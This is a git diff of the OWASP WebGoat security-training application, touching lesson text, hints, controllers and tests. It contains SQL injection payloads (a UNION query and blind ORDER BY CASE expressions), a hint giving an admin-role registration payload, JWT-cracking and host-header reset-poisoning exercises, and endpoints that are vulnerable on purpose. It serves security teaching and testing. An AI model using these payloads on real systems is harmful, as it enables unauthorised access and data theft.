access token, so if the access token is leaked changes are the refresh token will also be compromised. Most of the time
|
access token, so if the access token is leaked chances are the refresh token will also be compromised. Most of the time
|
||||||
there is a difference of course, the access token is send when you make an API call, the refresh token is only send
|
there is a difference of course. The access token is sent when you make an API call, the refresh token is only sent
|
||||||
when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same
|
when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same
|
||||||
server you can chose to only use the access token.
|
server you can choose to only use the access token.
|
||||||
|
|
||||||
As stated above using an access token and a separate refresh token gives some leverage for the server not to check
|
As stated above using an access token and a separate refresh token gives some leverage for the server not to check
|
||||||
the access token over and over. Only perform the check when the user needs a new access token.
|
the access token over and over. Only perform the check when the user needs a new access token.
|
||||||
It is certainly possible to only use an access token, at the server you store the exact same information you would
|
It is certainly possible to only use an access token. At the server you store the exact same information you would
|
||||||
store for a refresh token, see previous paragraph. This way you need to check the token each time but this might
|
store for a refresh token, see previous paragraph. This way you need to check the token each time but this might
|
||||||
be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least
|
be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least
|
||||||
use a hash function to store them in your database).
|
use a hash function to store them in your database).
|
||||||
|
@ -9,5 +9,5 @@ dictionary attack is not feasible. Once you have a token you can start an offlin
|
|||||||
Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat.
|
Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat.
|
||||||
|
|
||||||
```
|
```
|
||||||
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0
|
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM
|
||||||
```
|
```
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -13,7 +13,7 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
|||||||
@AssignmentPath("/access-control/user-hash")
|
@AssignmentPath("/access-control/user-hash")
|
||||||
@AssignmentHints({"access-control.hash.hint1","access-control.hash.hint2","access-control.hash.hint3",
|
@AssignmentHints({"access-control.hash.hint1","access-control.hash.hint2","access-control.hash.hint3",
|
||||||
"access-control.hash.hint4","access-control.hash.hint5","access-control.hash.hint6","access-control.hash.hint7",
|
"access-control.hash.hint4","access-control.hash.hint5","access-control.hash.hint6","access-control.hash.hint7",
|
||||||
"access-control.hash.hint8","access-control.hash.hint9"})
|
"access-control.hash.hint8","access-control.hash.hint9","access-control.hash.hint10","access-control.hash.hint11","access-control.hash.hint12"})
|
||||||
public class MissingFunctionACYourHash extends AssignmentEndpoint {
|
public class MissingFunctionACYourHash extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Autowired
|
@Autowired
|
||||||
|
@ -1,6 +1,5 @@
|
|||||||
package org.owasp.webgoat.plugin;
|
package org.owasp.webgoat.plugin;
|
||||||
|
|
||||||
import com.sun.org.apache.xpath.internal.axes.HasPositionalPredChecker;
|
|
||||||
import org.owasp.webgoat.assignments.Endpoint;
|
import org.owasp.webgoat.assignments.Endpoint;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||||
import org.owasp.webgoat.session.UserSessionData;
|
import org.owasp.webgoat.session.UserSessionData;
|
||||||
@ -13,9 +12,6 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
|||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import java.sql.*;
|
import java.sql.*;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static javax.swing.UIManager.getString;
|
|
||||||
|
|
||||||
public class Users extends Endpoint{
|
public class Users extends Endpoint{
|
||||||
|
|
||||||
@ -51,7 +47,7 @@ public class Users extends Endpoint{
|
|||||||
userMap.put("cc", results.getString(3));
|
userMap.put("cc", results.getString(3));
|
||||||
userMap.put("ccType", results.getString(4));
|
userMap.put("ccType", results.getString(4));
|
||||||
userMap.put("cookie", results.getString(5));
|
userMap.put("cookie", results.getString(5));
|
||||||
userMap.put("loginCOunt",Integer.toString(results.getInt(6)));
|
userMap.put("loginCount",Integer.toString(results.getInt(6)));
|
||||||
allUsersMap.put(id,userMap);
|
allUsersMap.put(id,userMap);
|
||||||
}
|
}
|
||||||
userSessionData.setValue("allUsers",allUsersMap);
|
userSessionData.setValue("allUsers",allUsersMap);
|
||||||
|
@ -11,12 +11,15 @@ access-control.hidden-menus.hint3=Look for something a super-user or administato
|
|||||||
access-control.hash.success=Congrats! You really succeeded when you added the user.
|
access-control.hash.success=Congrats! You really succeeded when you added the user.
|
||||||
access-control.hash.close=Keep trying, this one may take several attempts & steps to achieve. See the hints for help.
|
access-control.hash.close=Keep trying, this one may take several attempts & steps to achieve. See the hints for help.
|
||||||
|
|
||||||
access-control.hash.hint1=If you haven't found the hidden menus from the earlier exercise, go do that now.
|
access-control.hash.hint1=There is an easier way and a 'harder' way to achieve this, the easier way involves one simple change in a GET request.
|
||||||
access-control.hash.hint2=When you look at the users page, there is a hint that more info is viewable by a given role of user.
|
access-control.hash.hint2= If you haven't found the hidden menus from the earlier exercise, go do that first.
|
||||||
access-control.hash.hint3=Have you tried tampering the GET request? Can you find supported or unsupported methods? Can you trigger 500 errors?
|
access-control.hash.hint3=When you look at the users page, there is a hint that more info is viewable by a given role.
|
||||||
access-control.hash.hint4=There are actually two ways to solve this one. The first involves just changing a request header.
|
access-control.hash.hint4=For the easy way, have you tried tampering the GET request? Different content-types?
|
||||||
access-control.hash.hint5=If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it?
|
access-control.hash.hint5=For the 'easy' way, modify the GET request to /users to include 'Content-Type: application/json'
|
||||||
access-control.hash.hint6=If you're still looking for hints ... try changing the Content-type header in the GET request.
|
access-control.hash.hint6=Now for the harder way ... it builds on the easier way
|
||||||
access-control.hash.hint7=The harder way involves changing the Content-type AND the method ... As well as a proper payload for the request. Look at how registration works first and extrapolate out from there.
|
access-control.hash.hint7=If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it?
|
||||||
access-control.hash.hint8=See if you can add a user with a webgoat admin role, and if more is visible once you log in as that user.
|
access-control.hash.hint8=If you're still looking for hints ... try changing the Content-type header as in the GET request.
|
||||||
access-control.hash.hint9=If you create a new user with the admin role ... The role should include 'WEBGOAT' and 'ADMIN' in the role name. You'll have to do some guessing beyond that.
|
access-control.hash.hint9=You also need to deliver a proper payload for the request (look at how registration works). This should be formatted in line with the content-type you just defined.
|
||||||
|
access-control.hash.hint10=You will want to add WEBGOAT_ADMIN for the user's role. Yes, you'd have to guess/fuzz this in a real-world setting.
|
||||||
|
access-control.hash.hint11=OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: {"username":"newUser2","password":"newUser12","matchingPassword":"newUser12","role":"WEBGOAT_ADMIN"}
|
||||||
|
access-control.hash.hint12=Now log in as that user and bring up WebGoat/users. Copy your hash and log back in to your original account and input it there to get credit.
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -4,7 +4,6 @@ import org.apache.commons.lang3.StringUtils;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.plugin.PasswordResetEmail;
|
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
@ -14,8 +13,6 @@ import org.springframework.web.client.RestClientException;
|
|||||||
import org.springframework.web.client.RestTemplate;
|
import org.springframework.web.client.RestTemplate;
|
||||||
|
|
||||||
import java.time.LocalDateTime;
|
import java.time.LocalDateTime;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Optional;
|
|
||||||
|
|
||||||
import static java.util.Optional.ofNullable;
|
import static java.util.Optional.ofNullable;
|
||||||
|
|
||||||
@ -37,23 +34,10 @@ public class SimpleMailAssignment extends AssignmentEndpoint {
|
|||||||
|
|
||||||
@PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE)
|
@PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult sendEmail(@RequestParam Map<String, Object> json) {
|
public AttackResult login(@RequestParam String email, @RequestParam String password) {
|
||||||
String email = (String) json.get("emailReset");
|
String emailAddress = ofNullable(email).orElse("unknown@webgoat.org");
|
||||||
if (StringUtils.isEmpty(email)) {
|
String username = extractUsername(emailAddress);
|
||||||
email = (String) json.getOrDefault("email", "unknown@webgoat.org");
|
|
||||||
}
|
|
||||||
String password = (String) json.getOrDefault("password", "");
|
|
||||||
int index = email.indexOf("@");
|
|
||||||
String username = email.substring(0, index == -1 ? email.length() : index);
|
|
||||||
|
|
||||||
if (StringUtils.isEmpty(password)) {
|
|
||||||
return sendEmail(username, email);
|
|
||||||
} else {
|
|
||||||
return checkPassword(password, username);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private AttackResult checkPassword(String password, String username) {
|
|
||||||
if (username.equals(getWebSession().getUserName()) && StringUtils.reverse(username).equals(password)) {
|
if (username.equals(getWebSession().getUserName()) && StringUtils.reverse(username).equals(password)) {
|
||||||
return trackProgress(success().build());
|
return trackProgress(success().build());
|
||||||
} else {
|
} else {
|
||||||
@ -61,6 +45,18 @@ public class SimpleMailAssignment extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, value = "/reset")
|
||||||
|
@ResponseBody
|
||||||
|
public AttackResult resetPassword(@RequestParam String emailReset) {
|
||||||
|
String email = ofNullable(emailReset).orElse("unknown@webgoat.org");
|
||||||
|
return sendEmail(extractUsername(email), email);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String extractUsername(String email) {
|
||||||
|
int index = email.indexOf("@");
|
||||||
|
return email.substring(0, index == -1 ? email.length() : index);
|
||||||
|
}
|
||||||
|
|
||||||
private AttackResult sendEmail(String username, String email) {
|
private AttackResult sendEmail(String username, String email) {
|
||||||
if (username.equals(getWebSession().getUserName())) {
|
if (username.equals(getWebSession().getUserName())) {
|
||||||
PasswordResetEmail mailEvent = PasswordResetEmail.builder()
|
PasswordResetEmail mailEvent = PasswordResetEmail.builder()
|
||||||
|
@ -14,16 +14,18 @@
|
|||||||
<div class="attack-container">
|
<div class="attack-container">
|
||||||
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
||||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
<form class="attack-form" accept-charset="UNKNOWN"
|
|
||||||
method="POST"
|
|
||||||
action="/WebGoat/PasswordReset/simple-mail"
|
|
||||||
enctype="application/json;charset=UTF-8">
|
|
||||||
<div class="container-fluid">
|
|
||||||
|
|
||||||
<div class="row">
|
<div class="container-fluid">
|
||||||
<div class="col-md-4">
|
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-md-4">
|
||||||
|
<form class="attack-form" accept-charset="UNKNOWN" novalidate="novalidate"
|
||||||
|
method="POST"
|
||||||
|
action="/WebGoat/PasswordReset/simple-mail"
|
||||||
|
enctype="application/json;charset=UTF-8">
|
||||||
<div style="padding: 20px;" id="password-login-2">
|
<div style="padding: 20px;" id="password-login-2">
|
||||||
<h4 style="border-bottom: 1px solid #c5c5c5;"><i class="glyphicon glyphicon-user"></i> Account
|
<h4 style="border-bottom: 1px solid #c5c5c5;"><i class="glyphicon glyphicon-user"></i>
|
||||||
|
Account
|
||||||
Access</h4>
|
Access</h4>
|
||||||
<fieldset>
|
<fieldset>
|
||||||
<div class="form-group input-group">
|
<div class="form-group input-group">
|
||||||
@ -41,7 +43,8 @@
|
|||||||
Access
|
Access
|
||||||
</button>
|
</button>
|
||||||
<p class="help-block">
|
<p class="help-block">
|
||||||
<a class="pull-right text-muted" href="#" id="olvidado" onclick="showPasswordReset()">
|
<a class="pull-right text-muted" href="#" id="olvidado"
|
||||||
|
onclick="showPasswordReset()">
|
||||||
<small>Forgot your password?</small>
|
<small>Forgot your password?</small>
|
||||||
</a>
|
</a>
|
||||||
</p>
|
</p>
|
||||||
@ -49,6 +52,12 @@
|
|||||||
</fieldset>
|
</fieldset>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<form class="attack-form" accept-charset="UNKNOWN" novalidate="novalidate"
|
||||||
|
method="POST"
|
||||||
|
action="/WebGoat/PasswordReset/simple-mail/reset"
|
||||||
|
enctype="application/json;charset=UTF-8">
|
||||||
<div style="display: none;" id="password-reset-2">
|
<div style="display: none;" id="password-reset-2">
|
||||||
<h4 class="">Forgot your password?</h4>
|
<h4 class="">Forgot your password?</h4>
|
||||||
|
|
||||||
@ -69,10 +78,10 @@
|
|||||||
</fieldset>
|
</fieldset>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</form>
|
</div>
|
||||||
<br/>
|
<br/>
|
||||||
|
|
||||||
<br/>
|
<br/>
|
||||||
|
@ -15,7 +15,7 @@ password-reset-not-solved=Sorry but you did not redirect the reset link to WebWo
|
|||||||
password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf.
|
password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf.
|
||||||
password-reset-hint2=Look at the link, can you think how the server creates this link?
|
password-reset-hint2=Look at the link, can you think how the server creates this link?
|
||||||
password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link...
|
password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link...
|
||||||
password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090
|
password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090?
|
||||||
password-reset-hint5=Intercept the request and change the host header
|
password-reset-hint5=Intercept the request and change the host header
|
||||||
login_failed=Login failed
|
login_failed=Login failed
|
||||||
login_failed.tom=Sorry only Tom can login at the moment
|
login_failed.tom=Sorry only Tom can login at the moment
|
@ -14,5 +14,5 @@ The time out is necessary to restrict the attack window, having a link opens up
|
|||||||
|
|
||||||
Tom always resets his password immediately after receiving the email with the link.
|
Tom always resets his password immediately after receiving the email with the link.
|
||||||
Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with
|
Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with
|
||||||
that password.
|
that password. Note: it is not possible to use OWASP ZAP for this lesson.
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
|||||||
<div class="container">
|
<div class="container">
|
||||||
<div class="row">
|
<div class="row">
|
||||||
<div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3">
|
<div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3">
|
||||||
<form role="form" method="POST" action="/WebGoat/PasswordReset/reset/change-password" th:object="${form}">
|
<form role="form" method="POST" action="/WebGoat/PasswordReset/reset/change-password" th:object="${form}" novalidate="novalidate">
|
||||||
<h2 class="sign_up_title">Reset your password</h2>
|
<h2 class="sign_up_title">Reset your password</h2>
|
||||||
<div class="form-group" th:classappend="${#fields.hasErrors('password')}? 'has-error'">
|
<div class="form-group" th:classappend="${#fields.hasErrors('password')}? 'has-error'">
|
||||||
<input type="hidden" name="resetLink" th:field="*{resetLink}" />
|
<input type="hidden" name="resetLink" th:field="*{resetLink}" />
|
||||||
@ -29,4 +29,4 @@
|
|||||||
</div>
|
</div>
|
||||||
</body>
|
</body>
|
||||||
|
|
||||||
</html>
|
</html>
|
||||||
|
@ -5,12 +5,12 @@
|
|||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<packaging>pom</packaging>
|
<packaging>pom</packaging>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
|
|
||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<modules>
|
<modules>
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -1,10 +1,11 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.plugin.introduction;
|
package org.owasp.webgoat.plugin.advanced;
|
||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
|
import org.owasp.webgoat.plugin.introduction.SqlInjectionLesson5a;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMethod;
|
import org.springframework.web.bind.annotation.RequestMethod;
|
||||||
@ -55,7 +56,6 @@ public class SqlInjectionLesson6a extends AssignmentEndpoint {
|
|||||||
AttackResult completed(@RequestParam String userid_6a) throws IOException {
|
AttackResult completed(@RequestParam String userid_6a) throws IOException {
|
||||||
return injectableQuery(userid_6a);
|
return injectableQuery(userid_6a);
|
||||||
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String accountName) {
|
protected AttackResult injectableQuery(String accountName) {
|
@ -1,5 +1,5 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.plugin.introduction;
|
package org.owasp.webgoat.plugin.advanced;
|
||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
@ -33,7 +33,7 @@ public class SqlInjectionLesson12a extends AssignmentEndpoint {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public AttackResult completed(@RequestParam String ip) {
|
public AttackResult completed(@RequestParam String ip) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
Connection connection = DatabaseUtilities.getConnection(webSession);
|
||||||
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ?");
|
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where hostname = 'webgoat-prd' and ip = ?");
|
||||||
preparedStatement.setString(1, ip);
|
preparedStatement.setString(1, ip);
|
||||||
ResultSet resultSet = preparedStatement.executeQuery();
|
ResultSet resultSet = preparedStatement.executeQuery();
|
||||||
if (resultSet.next()) {
|
if (resultSet.next()) {
|
||||||
|
@ -20,14 +20,14 @@ SqlStringInjectionHint9=Intercept the request and try to specify a different ord
|
|||||||
SqlStringInjectionHint10=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
|
SqlStringInjectionHint10=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
|
||||||
SqlStringInjectionHint11=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
|
SqlStringInjectionHint11=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
|
||||||
|
|
||||||
sql-injection.5a.success=You have succeed: {0}
|
sql-injection.5a.success=You have succeeded: {0}
|
||||||
sql-injection.5a.no.results=No results matched. Try Again.
|
sql-injection.5a.no.results=No results matched. Try Again.
|
||||||
|
|
||||||
sql-injection.5b.success=You have succeed: {0}
|
sql-injection.5b.success=You have succeeded: {0}
|
||||||
sql-injection.5b.no.results=No results matched. Try Again.
|
sql-injection.5b.no.results=No results matched. Try Again.
|
||||||
|
|
||||||
sql-injection.6a.success=You have succeed: {0}
|
sql-injection.6a.success=You have succeeded: {0}
|
||||||
sql-injection.6a.no.results=No results matched. Try Again.
|
sql-injection.6a.no.results=No results matched. Try Again.
|
||||||
|
|
||||||
sql-injection.6b.success=You have succeed: {0}
|
sql-injection.6b.success=You have succeeded: {0}
|
||||||
sql-injection.6b.no.results=No results matched. Try Again.
|
sql-injection.6b.no.results=No results matched. Try Again.
|
||||||
|
@ -3,7 +3,7 @@
|
|||||||
Lets try to exploit a join to another table. One of the tables in the WebGoat database is:
|
Lets try to exploit a join to another table. One of the tables in the WebGoat database is:
|
||||||
|
|
||||||
-------------------------------------------------------
|
-------------------------------------------------------
|
||||||
CREATE TABLE user_system_data (userid varchar(5) not null primary key,
|
CREATE TABLE user_system_data (userid int not null primary key,
|
||||||
user_name varchar(12),
|
user_name varchar(12),
|
||||||
password varchar(10),
|
password varchar(10),
|
||||||
cookie varchar(30));
|
cookie varchar(30));
|
||||||
|
@ -11,7 +11,7 @@ PreparedStatement ps = null;
|
|||||||
RecordSet rs = null;
|
RecordSet rs = null;
|
||||||
try {
|
try {
|
||||||
pUserName = request.getParameter("UserName");
|
pUserName = request.getParameter("UserName");
|
||||||
if ( isUsernameValid (pUsername);
|
if ( isUsernameValid (pUsername) ) {
|
||||||
ps = conn.prepareStatement("SELECT * FROM user_table
|
ps = conn.prepareStatement("SELECT * FROM user_table
|
||||||
WHERE username = ? ");
|
WHERE username = ? ");
|
||||||
ps.setString(1, pUsername);
|
ps.setString(1, pUsername);
|
||||||
@ -22,4 +22,4 @@ try {
|
|||||||
} else { // handle invalid input }
|
} else { // handle invalid input }
|
||||||
}
|
}
|
||||||
catch (…) { // handle all exceptions … }
|
catch (…) { // handle all exceptions … }
|
||||||
----
|
----
|
||||||
|
@ -1,4 +1,5 @@
|
|||||||
In this assignment try to perform an SQL injection through the ORDER BY field.
|
In this assignment try to perform an SQL injection through the ORDER BY field.
|
||||||
Try to find the ip address of the `webgoat-prd` server.
|
Try to find the ip address of the `webgoat-prd` server, guessing the complete
|
||||||
|
ip address might take too long so we give you the last part: `xxx.130.219.202`
|
||||||
|
|
||||||
Note: The submit field of this assignment is *NOT* vulnerable for an SQL injection.
|
Note: The submit field of this assignment is *NOT* vulnerable for an SQL injection.
|
@ -63,7 +63,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
|||||||
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||||
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
|
.andExpect(jsonPath("$.feedback", containsString("You have succeeded")))
|
||||||
.andExpect(jsonPath("$.output").doesNotExist());
|
.andExpect(jsonPath("$.output").doesNotExist());
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -77,4 +77,4 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
|||||||
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
|
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
|
||||||
.andExpect(jsonPath("$.output", is("malformed string: '1''")));
|
.andExpect(jsonPath("$.output", is("malformed string: '1''")));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -64,7 +64,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
|||||||
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||||
.andExpect(jsonPath("$.feedback", containsString("dave")));
|
.andExpect(jsonPath("$.feedback", containsString("passW0rD")));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
|
@ -30,7 +30,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
|
|||||||
@Test
|
@Test
|
||||||
public void submitCorrectPassword() throws Exception {
|
public void submitCorrectPassword() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
||||||
.param("userid_6b", "dave"))
|
.param("userid_6b", "passW0rD"))
|
||||||
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||||
}
|
}
|
||||||
|
@ -28,7 +28,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
|||||||
private WebgoatContext context;
|
private WebgoatContext context;
|
||||||
|
|
||||||
@Before
|
@Before
|
||||||
public void setup() throws Exception {
|
public void setup() {
|
||||||
SqlInjection sql = new SqlInjection();
|
SqlInjection sql = new SqlInjection();
|
||||||
|
|
||||||
when(webSession.getCurrentLesson()).thenReturn(sql);
|
when(webSession.getCurrentLesson()).thenReturn(sql);
|
||||||
@ -44,6 +44,40 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
|||||||
.andExpect(status().isOk());
|
.andExpect(status().isOk());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void addressCorrectShouldOrderByHostname() throws Exception {
|
||||||
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
|
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
|
||||||
|
|
||||||
|
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void addressCorrectShouldOrderByHostnameUsingSubstr() throws Exception {
|
||||||
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
|
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '1') IS NOT NULL then hostname else id end"))
|
||||||
|
|
||||||
|
